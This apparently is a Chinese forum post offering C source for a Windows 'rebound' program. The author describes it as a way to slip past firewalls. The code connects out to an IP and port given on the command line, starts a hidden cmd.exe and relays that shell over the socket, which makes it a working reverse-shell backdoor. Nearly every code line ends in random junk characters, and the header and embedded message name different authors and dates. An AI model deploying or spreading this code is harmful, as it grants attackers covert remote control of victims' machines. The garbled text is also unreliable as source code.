这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 9T]va]w?#
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/* ============================== ujNt(7Cz
Rebound port in Windows NT Z#LUez;&t#
By wind,2006/7 z.A4x#>-
===============================*/ Lo5Jb6nm
#include l^BEFk;
#include 7ozYq_ $
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#pragma comment(lib,"wsock32.lib") ]t7ClT)n!
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void OutputShell(); PgqECd)f
SOCKET sClient; {z-NlH
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; }RH lYN
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void main(int argc,char **argv) *+&z|Pwv[^
{ SUSc
WSADATA stWsaData; zAu}hVcW
int nRet; vFR
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SOCKADDR_IN stSaiClient,stSaiServer; frk7^5
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if(argc != 3) 2kC^7ZAwu
{ ~S!L!qY
printf("Useage:\n\rRebound DestIP DestPort\n"); jf2y0W>6s
return; Y]?Kqc
} yi&?d&rK
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WSAStartup(MAKEWORD(2,2),&stWsaData); R+k=Ea&x
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?UU5hek+m
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stSaiClient.sin_family = AF_INET; $/MY,:*e
stSaiClient.sin_port = htons(0); W&WB@)ie
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); a\.//?
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) r
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{ fYv ;TV>73
printf("Bind Socket Failed!\n"); v4X_v!CQ
return; 1w(<0Be
} [))gn
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stSaiServer.sin_family = AF_INET; lF)0aDk'h
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 7 _X&5ni
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 1VRqz5
C+}CU}
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) wEZqkV
{ 5R$=^gE
printf("Connect Error!"); E
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return; p{+tFQy
} 9)8*FahW
OutputShell(); c-?
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} 7
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void OutputShell() ddGkk@CA
{ 0V{>)w!Fo
char szBuff[1024]; }M;sz
SECURITY_ATTRIBUTES stSecurityAttributes; I8XGU)
OSVERSIONINFO stOsversionInfo; H&"_}
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; :YkDn~@
STARTUPINFO stStartupInfo; /&y,vkZTT
char *szShell; BBaHMsr
PROCESS_INFORMATION stProcessInformation; c80"8r
unsigned long lBytesRead; \ x>NB
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Fj[ dO&
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); s?1-$|*
stSecurityAttributes.lpSecurityDescriptor = 0; &utS\-;G
stSecurityAttributes.bInheritHandle = TRUE; G <} 7vF
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); {&6l\|
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); =|DkD-
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); _rWTw+
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #t5JUi%in*
stStartupInfo.wShowWindow = SW_HIDE; 0
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stStartupInfo.hStdInput = hReadPipe; X.r!q1_c
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; \`p |,j
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GetVersionEx(&stOsversionInfo); z.Ve#~\
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switch(stOsversionInfo.dwPlatformId) `UzCq06rJ1
{ P17]}F``
case 1: ul]m>W
szShell = "command.com"; 0|f_C3
break; }K qw\]`
default: EHE6-^F
szShell = "cmd.exe"; Ezo" f
break; t 's5~
} -&HoR!af
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); `rRg(fCN!M
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send(sClient,szMsg,77,0); (\AszLW
while(1) Y
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{ f/|a?n2\hm
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); )G F
if(lBytesRead) )gm \e?^
{ ~"hAb2
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); kB!M[[t
send(sClient,szBuff,lBytesRead,0); `04Y ;@w
} '~!l(&X
else q0xE&[C[M
{ 9EY_R&Yq%
lBytesRead=recv(sClient,szBuff,1024,0); 55)ep
if(lBytesRead<=0) break; !{|yAt9kP
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ]'z^Kt5S
} DrYoC7
} :O_<K&
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return; /ux#U]x
}